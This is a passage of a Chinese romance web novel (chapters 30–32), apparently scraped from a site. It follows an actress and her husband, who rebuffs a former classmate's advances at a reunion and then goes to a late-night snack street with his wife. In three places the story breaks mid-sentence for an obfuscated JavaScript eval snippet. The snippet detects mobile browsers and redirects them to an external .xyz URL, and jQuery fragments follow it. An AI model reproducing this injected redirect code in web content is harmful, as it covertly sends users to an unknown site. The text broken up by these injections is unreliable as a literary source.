谈完了工作上的事,秦清突然话锋一转,认真地打量起她的三围。
“咳……”温珍旎猝不及防,被一口咖啡呛到。
她低头瞄了眼肚腩,好像是凸出了一些。
这个假期太放飞了,慈奶奶又三天两头给她做药膳补汤,不发胖才怪。
“最近是有点松懈。”她偷偷吸紧肚子,试图让自己看上去胖得没那么明显。
“假期结束,该收收心,专心拍戏了。”
秦清点到为止,没再继续说下去,但是重点交代了橙子,要她时刻监督饮食。
“好的。”
橙子声音弱弱的,从办公室出来后,提在嗓子眼的心才终于放下来。
“秦姐瞧着好说话,认真起来可真吓人。”
“放心,不会吃了你的。”
温珍旎调侃她一句,啜了口咖啡,舒展着四肢窝进休息区的沙发里。
刚合上眼,想眯一会儿,橙子突然尖叫了一声。
她应声睁眼,手机就怼到了眼皮底下。
“姐,你被买黑通稿了!”
“怎么了?”温珍旎瞄了眼热搜词条。
#余蓝飞初恋脸
热搜的置顶是余蓝飞工作室发的九宫格,照片里的女人穿一条白色长裙,在花树下奔跑回眸,卷起一地落花。
温珍旎把每一张都点开来看。
同样的白裙,同样的落樱,甚至奔跑回眸时的笑容,都有一种似曾相识的感觉。
眼熟的造型和构图,仔细一想,这不是她前年的MV外景照吗。
继续往下划,一点都不意外。热门里的营销号发了对比两人的通稿,用拉踩的方式故意带节奏。
珍珠们反应很快,已经控住评论前排,占领了热门。
“一比一复制粘贴,还碰瓷原创,吃相也太难看了。”
还好粉丝给力,要不然橙子的肺就该炸了,“这些新人真讨厌,不提高业务能力,尽会走歪门邪道。”
“淡定,我们不生气。”
温珍旎伸手掐了掐她的脸,“又不是第一天在娱乐圈,每件事都生气,气得过来嘛。”
拉踩式营销,娱乐圈的惯用手段而已,不足为奇。
橙子知道,但是心里膈应。
“姐,你不知道,她公司给她立了个珠宝商千金的人设,营销方向是真千金勇闯娱乐圈,颜值演技吊打流量花。”
她最生气的地方就是这个,“什么都比照着你来,还要拉踩你,谁看了不生气。”
“她不是第一个,也不会是最后一个。”
温珍旎慢悠悠地抿了口咖啡,问她:“你跟秦姐有一阵了,遇上这种事情,她怎么跟你说的?”
说到这个,橙子一下子塌了肩膀,“秦姐说,给这些人眼神,就是帮她们升咖,给自己惹腥。”
温珍旎老神在在地点头,“秦姐说的是对的。你心性不行,还得再修炼啊。”
橙子讪讪地吐了吐舌头。
她挠着脸,转移话题,“姐,你现在回家吗?我送你。”
温珍旎仔细想了一下,时间还早,回家也是闲着,不如出去玩。
想到这,她给奚淼发了信息,问她有没有时间,要不要出来逛街。
奚淼那边消息回的很快,叫她去南国记,中午跟明霞一起吃饭。
温珍旎回好,拎了包包,叫上橙子,“走,姐带你去蹭吃蹭喝。”
30. 030
温珍旎带上小助理去南国记了。
快晚上的时候,慈恒这边方才结束应酬,从饭局中抽身。
今天邀他打球的是一帮认识多年的叔伯。到底是商场沉浮的老狐狸,远比他们这些小辈圆融老辣。
席间推杯换盏,句句机锋,碍于父辈情面,慈恒虽然不至于要陪着作乐,却也不得不看在长辈的面子上饮了几杯。
好不容易散了场,回到车上,他长长吁了口气,脑袋却如铅块般沉重,拽着自己往下坠。
酒喝多了确实伤身,上头之后头晕得尤其厉害。
林诺有随身带解酒药的习惯,数了几粒给他喂下。
去锦煌夜宴的路上有足够的时间可以休息,慈恒抬手松了衬衣扣子,揉着太阳穴阖上眼。
慢慢将思绪收拢回来后,问道:“今天谁接送的太太?”
他眉间还沾染着未散的戾气,开口问到妻子时,语气才不觉放软了些。
林诺从后视镜里观察了一眼他的神情,语带笑意,“太太给小苏放了假,自己开的车。太太说,方便今晚接先生回家。”
“嗯,知道了。”慈恒简单地应了一声,嘴角悄然向上弯起,眉宇间的那点冷硬似乎也被抚开了。
车子驶入高架桥,一个小时后抵达锦煌夜宴。
门童拉开后排车门,早有等候的礼宾员过来接引。
进包房前,慈恒稍微整了整衣袖,方才迈入纸醉金迷的娱乐消遣之所。
甫一进门,声浪便挟着熟悉的名字扑面而来。
“恒哥,这儿。”
冯振那副嗓门一吼,瞬间将同学们的目光吸引了过来。
一时间,包房里响起此起彼伏的恭维声,打扮光鲜时髦的男男女女纷纷围了上来。
青涩的面孔和眼前的成熟身影重合,现在都已经是各行各业的翘楚精英了。
遑论是他,无人不知的泰华新任话事人,走到哪都是万众瞩目的存在。
一屋子人,认识的,不认识的,全靠向他这边了。
不熟悉的人见缝插针地和他寒暄,熟悉的人更要仗着关系好多说几句了。
“大家就等你开席了,怎么来得这么晚,必须罚酒啊。”
仗着同窗的情谊,老友们不怕开他的玩笑,说罚酒就把他推到席前。
慈恒教养好,只要在底线内,笑闹也无妨。
他把酒杯接过,目光却落向对面默默注视着他一脸笑意的恩师,微微躬身,唤了一声:“文老师。”
文老师重重地拍了一下他的肩,语气带着长辈的嗔怪,“见一面咱们的大忙人还真是不容易呀。”
五十多岁的男人头发都花白了些,精神却矍铄,“老师可是听说了你的丰功伟绩,年纪轻轻就能独当一面,后生可畏啊,老师也跟着你沾光了。”
看到自己的得意门生有如今这般成就,脸上的骄傲不加掩饰。
在老师面前,慈恒的那些疏离傲然褪得干干净净,只有刻进骨子里的敬重,“老师过誉了,学生有今天的成就,是您教导得好。”
“听听,也就文老师能让咱们慈少谦虚了。这叫什么,这就叫学霸的实力!”
“高中一个班的时候,差距就拉开了,这毕业后更是天差地别了。慈哥的成就,我们就是下辈子也赶不上啊。”
大家你一言我一言的,开起了慈恒玩笑,慈恒也没跟他们介意。
姜琳身边空了位置,有关系不错的老同学便推着他坐了过去,“坐姜女神的旁边吧,高中时你们可是有名的黄金搭档。”
“我记得当时还有人磕你们这对双学霸组合来着。”
不知是谁带头起了哄,引得其他同学跟着附和。
“对,我们还打赌,赌你们会不会在一起。”
被提及的当事人姜琳莞尔一笑,“都多少年前的老黄历了,还提它做什么?”
今天的同学会,她穿了一条米色长裙,绑着低马尾,比起商场上的知性利落,气质温婉了许多。
她落落大方的目光掠过身边的男人,“而且阿恒都结婚了,你们乱说引人误会。”
“就是,玩笑开开就得了啊。”
冯振看了慈恒一眼,转移话题道:“都赶紧吃,今天这菜式全是我精心挑选的,味道保证正宗。”
私人定制菜肴,独家酒品,也实实在在是大手笔了。
这里除了慈恒,就属他冯振富得流油。
所以这桌菜吃下来,正儿八经吃的是金钱。
文老师见到自己的学生,心里高兴,就多喝几杯酒,等这顿饭吃下来,已经头晕得走不动道了。
姜琳体贴,问服务生要了一杯蜂蜜水,给文老师喂下之后,让两个男同学扶他去隔壁休息室。
文老师摆手嚷着:“你们都去玩,不用管我。”
嘴里说着高兴,又嚷着要回去了。
冯振便叫来自己的车,送了老师回家。
吃了晚餐,少不了唱歌聊天这些娱乐活动,冯振主导,霸气地订了几个包房,大家散了桌,就分别带着家属去唱歌,去按摩房游戏室消磨时间。
慈恒嫌闷嫌吵,躲到包房的休息区找清净。
有他在的地方,冯振自然也在。
想和他俩攀关系的人也就没走,陆续找了上前,有人递酒,有人点烟。
虽然扰了清净,慈恒还是给了面子,接了烟,象征性地喝了酒。
工作后,同学之间见面的机会越来越少,饭桌上有老师在,再大胆的男生也拘谨放不开。这会儿老师们离开了,就完全释放了天性。
既然是来结交的,靠叙旧拉近距离是最简单的,于是那些陈年往事就被翻了出来。
“……我还记得,语文课代表时总把慈恒的作文当范文念,把冯振的作文当反面教程。”
这事在场的人都有印象,有人趁机笑话起反面教材冯振,“要说作文有意思,还是冯振的有意思啊。”
冯振被揭了短,板起脸道:“我一句话没说,都能埋汰到我。我看你们不是叙旧,是来报仇的吧。”
他一说,惹得大家都笑了起来。
笑声中,彼此的关系都热络了几分。
慈恒没有搭过言,在烟灰缸里揿灭了烟,全程安静地坐在沙发里,神色淡淡的,仿佛这些热闹都是别人的,和他无关。
就在这时,不知是谁突兀地拐了个弯,把话题引向了对面的姜琳。
“这么多年过去了,还以为姜琳真的能和慈少成一对,结果慈少英年早婚,咱们女神单身至今,可惜了。”
这种有引导性的话原是不该多说的,偏偏旁边一根筋的男同学还点头认同,“没成想慈总也会走商业联姻的路。”
只要提姜琳,就绕不开慈恒。两个风云话题人物,最容易被放在一起。
他是一点没看到冯振给他使的眼色,还叹了口气,表示惋惜。
满场复杂的眼神中,冯振却听得头皮发麻,“玩笑过了哈,恒哥都有老婆了,这种话以后就别说了吧,要是引起不必要误会,那就是家庭战争了。”
不遗余力地把已婚人士跟绯闻对象凑一块,不厚道,很没眼色。
等大家意识到这个问题,去观察慈恒的脸色,空气都安静了一瞬。
姜琳笑容虽然得体,眼神却骗不了人。她端起酒杯,目光垂落,掩去一闪而过的失落。
眼看这好不容易攒的局要被气氛破坏掉了,班上最活跃的女同学赶紧跳出来打圆场。
“我们高中的女神,多少人明里暗里追求呢,匿名送的巧克力都不知道收了多少回。只是姜琳不爱吃,最后全进了我肚子。”
有人啧了一声,“我就说你怎么越长越胖了。”
“你才胖,你全家都胖。”
被揶揄的女
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004183|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同学起身去打他,不小心碰掉了姜琳放在腿边的手机。
手机滑落到地毯上,亮起了屏幕,最近的一个女生顺手捡起,不小心看到锁屏的背景图。
“咦,你和慈恒的合照……”话说一半,声音倏地卡住。
收到眼色示意,女同学尴尬地闭上了嘴。
其他人的视线在当事人之间来回,带着探究的意味。
在这么多人面前,被捅破心思,姜琳还是挺难为情的。
她撩了下头发,故作镇定地解释:“那场比赛对我的意义很大,一直作为自己进步的鼓励,所以就用到了现在。”
至于是不是这样,她自己最清楚。大家没追问,心照不宣地笑了。
慈恒当然没有看到姜琳的手机锁屏,也没有兴趣窥探别人的隐私。
只是抬眼,冷冷地扫过那些开玩笑的人,脸色沉了下去。
在昏暗的光线里,本就疏离的气场瞬间降到了冰点。
戴着厚厚镜片的班长见状,突然拍手道:“你们还记不记得,高三那会儿,有个来给慈恒送餐的小学妹,长得那叫一个乖巧漂亮。有次还被教导主任当成早恋抓了,扣在了教务处。”
“那次我刚好在,小学妹眼睛都红了,解释自己是初中部的,顺路跟着庄阿姨来看慈恒,不是来送情书的。教务处老师多说了她两句,眼泪珠子直往下掉。”
班长越说越激动,“可把教务处的老教师给吓坏了,找了一堆零食好说歹说才把人哄着送出去。我担心小学妹,跟了出去,你们猜怎么着?在教务处哭得梨花带雨的小丫头,坐在楼梯里吭哧吭哧吃零食呢。”
他说完,包房里的人都跟着笑了。
“你说的是经常来看慈恒的女孩子吧?”
“是啊,就是那个小丫头。”
慈恒垂眸听着,原本已经绷直的嘴角竟然不动声色地弯起了弧度。
确实是有那么一回事。
那还是一个飘雪的午后,温珍旎裹着红色围巾,坐在教学楼的楼梯间,一边吃着零食,一边用手指在起雾的玻璃上涂鸦。
班上同学问他是谁,他回的是:“我妹妹。”
小姑娘皱着眉反驳他,“我才没有哥哥,我只有弟弟。”
大概是因为漂亮吧,姜琳也有很深的印象。
不清楚叫什么名字,但记得长了一双难忘的眼睛,眨巴眨巴地看着人,像一汪澄澈的湖水。
那个下雪天,女孩在班上男同学的起哄声中,跑出了教学楼,却因为地滑摔在了雪堆里。脏了裤子的女孩,擦破了手掌,慈恒冲出教室时带翻了课桌。
她第一次见到永远冷静的年级第一失态地冲出教学楼,捧着女孩的手翻来覆去的检查伤势。
那个女孩没哭,只是眨着好看的眼睛,扬起笑脸,说不疼。
这么一回想,那眼睛特别熟悉,和那天在走廊里和她交锋的女人很像。
难道……是她?
姜琳下意识地看向了处于议论中心的男人,几乎一眼捕捉到他眼里近乎纵容的笑意。
这细微的表情稍纵即逝,快得让人以为只是一刹那的错觉。
或许只有坐在对面的她,才将一瞬间的变化尽收眼底。
姜琳颤抖着唇,“……你说是世伯家的妹妹。”
她的呓语被四周嘈杂的笑声淹没了,没人听见。
当众人停止笑声,带着八卦的目光聚焦到当事人身上,等着看他如何回应时,慈恒缓缓抬了眼。
那双眸子已经恢复了一贯淡漠,甚至有被打扰到的烦躁。
他修长的手指在沙发扶手敲击着,声音不大,却让包房安静了下来。
“记性不错。”
慈恒声音平缓,旁人也听不出是高兴,还是不高兴,但那股无形的压迫感仿佛与生俱来,“不过下次再提我太太学生时代的糗事,记得给她留点颜面。”
31. 031
“我太太性格好,不会跟人计较,但我脾气很一般。”
他目光扫过了刚才起哄最欢的那几个,眼神看似平静,却叫人心头莫名一凛。
大家反应过来后,面面相觑,一时间不知道,是该惊讶那个女孩是他的妻子,还是该惊讶他如此维护自己的妻子。
但不管是哪一种,他话里的警告已经很直白了。
脑子转得快的人很快品出了这里面的意思。
他的忍耐度是有限的,他已经很克制了。
不是因为供出他太太的糗事,而是他在告诉大家,那个小学妹是他的太太,他们的婚姻受法律保护,不要再乱点鸳鸯谱。
“呃……”全程没敢搭话的冯振都傻了眼。
听到起哄时,他都已经汗流浃背了。哪知道这些人虎成这样啊,好歹也是在社会上摸爬滚打好几年的人了,怎么说起来话来没忌讳呢,还把慈恒当高中生呢。
他头疼地挠挠头,唤来一名服务生,“我请客,再开两瓶马爹利蓝带。”
想着有好酒,总该堵住这些人的嘴,给糊弄过去了吧,偏偏就有那没眼色的又莽了上来。
“谁还没个青春悸动,大家开个玩笑而已。慈恒,你不会介意的吧。”
带了挑衅意味的声音慢悠悠响起时,像冷水掉进了油锅,让本就尴尬的气氛直接降到了冰点。
冯振心里咯噔一声。邪了门了,到底哪个二百五,这么不给他面子。
他瞪过去,看清对方,爆了一句粗口:“草!”
是那个常年和慈恒别苗头的郑铭。
因为看不惯慈恒家世好,长得好,走到哪都众星捧月,高中那会儿就一直奋力追赶,想要压他一头。奈何实力不够,连慈恒的脚后跟都没追上。
包房里瞬间静得可怕,所有人的心都提到了嗓子眼,目光齐刷刷地看向郑铭。
他这是当众落慈恒的面子啊,他到底怎么想的,难道酒喝多了,脑子抽风了?
姜琳攥了攥出汗的手心,没有看破坏气氛的郑铭,而是眼神复杂地看向了对面一言不发的男人。
其实她也想知道,他要怎么回答这个问题。
慈恒根本没打算参与他们的叙旧,垂眸转动着婚戒。三金设计的戒指太过醒目,在灯光下忽明忽暗。
服务生推门进来,送上酒和点心,手上托着的银盘反光,映得他眉间浮起戾气。
没有郑铭想象中的愠怒,只有轻视,仿佛他只是一个供人取乐的跳梁小丑。
他甚至都没有说话,只是冷漠地看着人,就让赵铭脸上的血色一点点褪尽了。
终于,他开了口,每个字都清晰地砸进了在场所有人的耳朵里。
“我介意!我跟我太太感情很好,我不希望她产生任何不必要的误会。”
“看在老师面子上,我不想撕破脸面,也希望在场某些人自觉,不要让我太难做。”
虽然饮了不少酒,他的头脑依旧清晰得可怕,掷地有声道:“没有下次,不要妄图试探我的底线在哪。”
话难听,不只是说给郑铭听,也像是说给自己听的。
随着话音落下,银匙“啪”地一声,掉在了放点心的银盏上,姜琳失手打翻了一盘点心。
本来已经引起别人的注目,但是更突兀的手机震动声将她的失态遮掩了过去。
慈恒身体微微前倾,在众目睽睽下,从桌沿上捞起那部震动不止的手机。
无疑是天降救星,这铃声来得太他妈及时了,离得最近的冯振只想给手机那头的救星三柱高香供起来。
他好奇地探头,瞄了一眼慈恒的屏幕,看到温珍旎的头像,梗住的心安全地放回了肚子。
气氛松动,有人拍着手提议道:“大家好不容易聚一回,拍张合照纪念一下吧。”
“我来,我来。”高高瘦瘦的班长自告奋勇,举起了自拍杆,调整好拍摄角度。
合照拍完,大家嚷着让他把照片发到班级群里。
姜琳点开群里的合照,男人握着手机,看镜头的那一瞬,还是冯振突然叫的他。
荧光映出他冷峻的轮廓,却留下了眼角上扬的弧度。不知道是因为手机那边所谓的太太,还是别的。
她和他的距离不算近,不算远,却意外的只有他们坐着。
房间里暖黄的灯光将轮廓融成了剪影,美得像一副画。
指尖在屏幕上停留片刻,不知道是心里的阴暗面作祟,还是迫切地想要知道那个女人的态度,她选了两人挨得最近的角度,编辑进朋友圈动态。
再抬头时,慈恒已经起身,走出了休息区。
站在窗前,他指节支着太阳穴,望着外面。
高楼大厦刺破雾蒙蒙的夜色,灯火无声流淌着,将尖锐的钢铁城市温柔地包裹了起来。
温珍旎在问他什么时候结束。
看了看时间,属实有些晚了。他捏着眉心,没有回消息,而是直接拨了电话。
“喂,老公?”清亮的声音从听筒传来,就好像突然吹进的一阵清风,吹散了他心头的烦闷。
对着电话,他的声音有些疲惫,“吵得头疼。你说的接人,是从造车开始?”
“……”温珍旎舒了一口气,“没有呢,刚刚还在长翅膀,现在长好了,这就飞过来接我的亲老公回家。”
慈恒言简意赅,“嗯,来门口。”
“等我十分钟,很快的。”
那边传来窸窸窣窣的声音,应该是在准备动身了。
他挂断了电话,没有再回去,径直离开包房,穿过空旷的走廊,走向电梯厅。
另一间包房里,奚淼唱歌正在兴头上,等温珍旎回完电话后,她“啧”地一声,满脸的难以置信。
“大少爷就不能自己回去?”
温珍旎收拾着东西,摇着头说:“不能,答应他的事没有做到,他会不高兴的。”
奚淼本来是要带她去秀色喝酒看男模的,她果断给拒绝了,声称不喝酒,因为答应了慈恒要去接他。
奚淼只能退而求其次,来锦煌夜宴消遣
这会儿她要走,自己留下也没意思,索性跟她一块出了门。
两人刚进电梯里,奚淼突然倒抽一口气,把一张朋友圈截图怼到温珍旎眼前,“旎宝快看,有人挖你墙角了!”
她刚才一直在和冯振聊天,冯振不小心说漏了嘴,把今晚同学会上的事给抖了出来。
奚淼觉得事情没那么简单,在她的再三逼问下,冯振总算一五一十地交代了,把朋友圈截图也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010623|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发给了她。
她给温珍旎看的截图,就是从冯振那儿拿来的。
照片是大合照,几十号人挤在镜头前,笑容洋溢地摆着合影姿势。温珍旎一眼就看到了姜琳和慈恒,因为整张照片,他们是唯二坐着的人,是核心区域。
画面中心,姜琳上半身向慈恒那方倾斜,这是一种自然而然的倾向性动作。慈恒看着镜头的方向,嘴角扬起弧度,他的位置离姜琳有一臂之遥,在略显拥挤的人群里,显得微妙又扎眼。
温珍旎两指放大照片,再放大,慈恒侧脸轮廓在灯下模糊了棱角,唇边弧度却还是那么明显。
姜琳给这张合照配文是:重回那年盛夏,携手并进,三年光阴如昨。
“看见没!”奚淼咬着牙,因为激动,指尖快要戳碎屏幕,“笑成这副德行,他跟谁笑呢。”
温珍旎虽然也惊讶,脸上却没有太大的反应,还问:“她什么意思?”
“这都看不出来吗,她在离间你们的感情,向你宣战。”
温珍旎眼里流露出不理解,“只是这样?”
在奚淼一副“你气傻了吗”的表情中,她兀自点了点头,“噢,我知道了。”
“唉?你知道什么呀!”奚淼被她这没头没脑的一句弄得一头雾水。
温珍旎两手一摊,“你难道没看出来,她已经没招了。现在慈恒的态度对她来说已经不重要了,她更想试探我这位联姻太太的态度。换句话来讲,就是她想知道我看到这条动态后的反应。”
“有病吧她……我看她不是喜欢你男人,是喜欢你才对。”奚淼完全不能理解姜琳的脑回路。
她还想继续吐槽,电梯门打开了,温珍旎头也不回地走出去。
“你干嘛去?”她问。
温珍旎脚步没有停顿,“当然是迎战了。一个人搭台唱戏多没意思,有来有回才叫对手戏嘛。”
……
慈恒离开后,包房里彻底安静下来,其他人觉得无趣,也跟着出了那扇旋转门。
晚风送来闷热的气浪,慈恒站在门口,侧脸在夜色下冷硬了不少,几个刚从其他酒吧出来的青年男女,带着微醺的兴奋,目光大胆地在他身上流连。
他一个冷冷的眼神扫过去,年轻人们脸色一变,尴尬地走开了。
周围聚集的同学越来越多,他在聒噪的笑闹声里,烦躁地抿直了嘴唇,抬头看向前方那块地标巨幕。
巨幅在播放广告,LED屏幕上的女星在雨中眨眼,水珠凝在睫毛上将落未落,广告结束,画面配着化妆品代言人的签名,是“余蓝飞”两个字。
他清楚地记得,上次这里的巨幕,滚动播放的还是温珍旎的应援视频。
慈恒神情微怔,偏开头,继续面无表情地盯着车流方向。
不到两分钟,一辆低调奢华的帕拉梅拉停在门口。
叽叽喳喳的人群噤了声,有人伸长了脖子打量,“咦,是你们谁的家属来了吗?”
随着车窗降下来,热风卷起温珍旎颊边的碎发,渔夫帽下一双眼睛弯起来,笑容像湖水里荡漾开的月光,“嗨,帅哥,跟姐姐走,姐姐载你兜风怎么样?”
不经意被老婆调戏的男人:“……”
一旁张大了嘴的冯振:“……”
32. 032
虽然帽子口罩把人遮得密不透风,只看得清身形,但冯震对这声音太熟悉了。
不好当着外人的面叫她名字,便唤道:“小嫂子,你这还亲自来接恒哥啊?”
温珍旎笑着跟他挥手,“振哥,要我载你一程不?”
人家专程是来接慈恒的,冯振哪敢当电灯泡,“不了,我就是送恒哥出来,还回去的。”
“别管他。”
看到温珍旎,慈恒身上那股生人勿近的气场方才消融殆尽,他头也没回,拉开车门坐了进去。
班长看着汽车缓缓启动,惊掉了下巴,“……真搞养成系啊。”
他还是有点不信,当年教务处里哭红眼睛的小学妹就是慈恒的老婆,传闻中的珠宝商千金。
慈恒一走,同学们松了一口气,总算能畅所欲言了。
“我看性格挺好的。”
“慈恒这人冷淡沉闷,娶的老婆倒像小太阳。”
温珍旎和刻板印象里的豪门千金大相径庭,多少让人感觉意外。
“我以为是温婉贤惠,端庄优雅型的富家女,结了婚,就像电视剧里打牌喝下午茶混太太圈,没想到是时尚靓女。”
“可惜戴了帽子,看不清长相。不过光看外形就蛮漂亮。”
耳边的赞美一声接一声,姜琳僵在原地,脸上的笑容褪得干干净净,只剩下惨白。
一直以来,她以为慈恒冷淡疏离,是因为忙于学业,亦或者是天性骄傲,才使他那么的高不可攀。
她甚至庆幸他的冷漠,暗暗得意他身边从未有过别的异性。她以为只要他回头,总会看到她。
可现实给了她一记响亮的耳光。看到车窗升上去的那一刻,驾驶座的女人动作亲昵地去探慈恒的额头,而那个向来讨厌触碰的男人微微低头,眉眼间是姜琳从未见过的松弛。
原来他不是天生冷漠,他只是把所有的温度,都给了另一个人。
指尖刺进掌心,尖锐的疼痛,远不及此时此刻的一败涂地。
她宁愿他用厌恶的眼神注视她,也不想他视自己如无物的姿态。
“……姜琳,你脸色不好。”像是唤了她很多声,冯振神情疑惑地看着她,“要不我送你回去?”
“我还好。”她几乎是凭借着最后一点本能,才强撑着没有失态。
**
从锦煌夜宴出来,那些厌烦的喧嚣终于远离,耳根彻底清净。
慈恒放松地靠向椅背,闭上眼睛,像是终于卸下了千斤重的盔甲。
“我表现还可以吧?”温珍旎眼睛亮晶晶地瞅了眼副驾上的人,一副求表扬的神情。
慈恒偏过头,车窗外的流光掠过她的侧脸,他“嗯”了一声,带着点表扬的意味,“有进步,比约定的时间还快了两分钟。”
“没办法,怕慈总等不到我造好汽车。”
跟他时间呆长了,温珍旎耳濡目染的,也学会了阴阳怪气。
她稳稳地开着车,察觉到身边男人突然的放松,随口问道:“同学会开心吗?”
“翻些无聊的旧账。”他言简意赅地评价。
不过有一件事还是挺有意思,“高三有一次你跟妈来送餐,被老师当早恋抓去教务处,后来怎么没跟我说过这事?”
“有这事吗?我记不清了。”
温珍旎努力回忆一下,模模糊糊是有点印象的,“是你们班长说的?他们还说我什么了?”
慈恒嘴角勾起,“说你乖。”
温珍旎经不起夸,眼睛顿时弯成了两弯月牙,“本来就很乖好吧。”
他忽然说:“饿了。”
“去吃烤鱿鱼吧。”
温珍旎在导航上飞快戳了几下,输入地址。
十分钟后,车子停在了他们熟悉的那条小吃街。
一下车林荫道上就飘来了油脂的的焦香味,被烟火气笼罩的烧烤店正是最火爆的高峰时段。
温珍旎点上几串大鱿鱼,想着他喝了那么多酒,只要了两瓶常温果汁。
刚坐下,她就掌心朝上摊在他面前,下巴微抬,“快把你手机给我。”
慈恒挑眉,虽然不知道她什么目的,还是把手机解了锁递出去。
温珍旎要来手机,指尖在屏幕一直上划,翻了好多页,终于把那条朋友圈动态翻了出来。
有图有证据,她理直气壮地质问:“你干嘛要对着别人笑,还笑得那么开心?老实交代,你是不是有喜欢的人了?你从来没对我这么笑过。”
慈恒不怎么看朋友圈动态吧,被她问得一头雾水。
温珍旎把那条动态怼到他眼前,“你自己看。你的绯闻对象,今晚向我这个正宫正式宣战。”
那条动态看上去是缅怀逝去的青春,但站在温珍旎的角度,感官确实不舒服。
慈恒眉心轻拧,“我知道了,以后公司业务我会让其他人全权负责。她如果找到你,直接告诉我。”
只是他没理解到她的脑回路。笑有什么不对,他笑也是因为收到她的消息。
“照你的思路,我对着镜头笑,镜头才是我的心仪对象。”
“诡辩!我不信你看不出她是故意的。”温珍旎义正言辞地指责他,“你不老实。”
慈恒怔了怔,看着她道:“没有了解事情真相,凭一张照片就判我死罪。温珍旎,你有做昏官的潜质。”
温珍旎意识到这样说是不太负责,但她现在不想讲道理,“……我不管,我也要拍照发朋友圈。”
说着打开摄像头,转头亲在他侧脸,在她凑过来时,慈恒下意识转头,唇边沾上一抹口红印,被镜头清楚地定格。
角度拍的满意,但是力度还不够,她去抓他的手,“把手给我。”
她拖过男人宽大的手掌,调整着角度,“拍一张氛围感十足的牵手照。”
慈恒低头看着交握的手,嗤笑道:“幼不幼稚。”
话这么说,修长有力的指节还是自然而然地收拢了,将她的手裹进掌心。
十指相扣,露出那枚婚戒。
“搞定了。”温珍旎心满意足,把他这个工具人扔在一旁,埋头在手机上操作起来。
再三检查有没有露脸后,她放心地编辑到动态里。
文字就配:她负责点,负责吃,还负责发朋友圈。
腾起的烟雾里,照片上的女孩戴着渔夫帽,依偎在他颈侧,耳垂边的珍珠耳环一晃一晃,点缀得恰到好处。
他打趣道:“不露脸,怎么知道我老婆是谁?”
温珍旎又不傻,“那明天的热搜头条就会是‘某女星和泰华总裁深夜路边摊''。”
慈恒看她编辑的文案,表情认真地指导着,“模仿的也不像,一看就不是我的口吻。”
俯身想要抽走她握着的手机,温珍旎转到一边去,“我不要。”
点击,发送。
她把手机放回他面前,得意地扬起小脸,“不许删了。”
他拿回手机,扫了眼个人风格十足的照片,又看看对面啃鱿鱼的女人,忍不住嗤笑,“这就是你对战争宣言的回复?”
温珍旎认真想了想,没有露脸,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023607|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
效果肯定大打折扣,“勉强吧,我还没有发挥出应有的水平。”
看她这么开心,慈恒慢悠悠地点头,“满意了吗?”
“还行。”温珍旎咬了一大口鱿鱼,烫得直哈气,眼泪都飚了出来,还是满足地眯起了眼。
趁着热乎不腥,解决完烤串,两人带着一身烟火气从烧烤店出来。
离停车的地方还有一段距离,正好散步消食了。温珍旎揉着肚子,跟在他身侧有说有笑。
六月的暖风拂过,小吃街的烟火气渐渐被抛在身后,到了路边的停车处,两人上了车。
刚好,两个从烤鱼店出来的女人看到这一幕,表情震惊地僵在了原地。
“我眼睛是坏掉了吗,怎么看到大魔王了!”
那辆帕拉梅拉虽然和她们隔着一段距离,只来得及捕捉到一个男性侧脸轮廓,但那背影气质分明就是大魔王。
朱娜怀疑地眨眨眼,和身边的同事迅速交换了一个眼神,两人反应一致地掏出了手机。
这条小吃街是有名的美食打卡圣地,朱娜和其他部门要好的同事约了这边的烤鱼,正准备取车回家了,没想到出门就撞上老板约会。
那女孩戴了渔夫帽和口罩,侧过身说了什么,还伸出手拽了拽男人的手臂,动作亲昵自然,一看就是熟得不能再熟。
而那个在公司里以冷峻疏离著称的残暴大魔王,居然没有甩开……
“这可是惊天大新闻。”
朱娜哐哐一顿抓拍,直到帕拉梅拉汇入车流,她颤抖着手点开“88层情报小分队”微信群。
【震惊!你们猜我看到谁了?】
【慈总和神秘女子在小吃街约会,最后上了同一辆车,同归爱巢!】
消息发出,如同一颗深水炸弹,在群里炸开了。
【……】
【@朱娜做助理屈才了,你应该做狗仔。】
【卧槽!哪个小妖精把我们88层大魔王拿下了!/惊恐】
朱娜:【帽子口罩捂着脸,根本看不清啊。但我用我的魔鬼身材和我的月薪保证,肯定是女的。】
朱娜:【卧槽,我突然想起来,这辆车是倩倩的。】
【你没记错?】
朱娜:【我问过倩倩,车牌号就是她的。而且这个车牌一眼就记住了。】
李薇:【不可能吧。慈总也许是顺路送她回去。】
【……慈总坐的副驾,到底谁送谁?】
朱娜:【@李薇你在质疑我1.5视力吗?/粉红兔子挥铲.jpg】
然后甩出几张抓拍照:【有图有证据。】
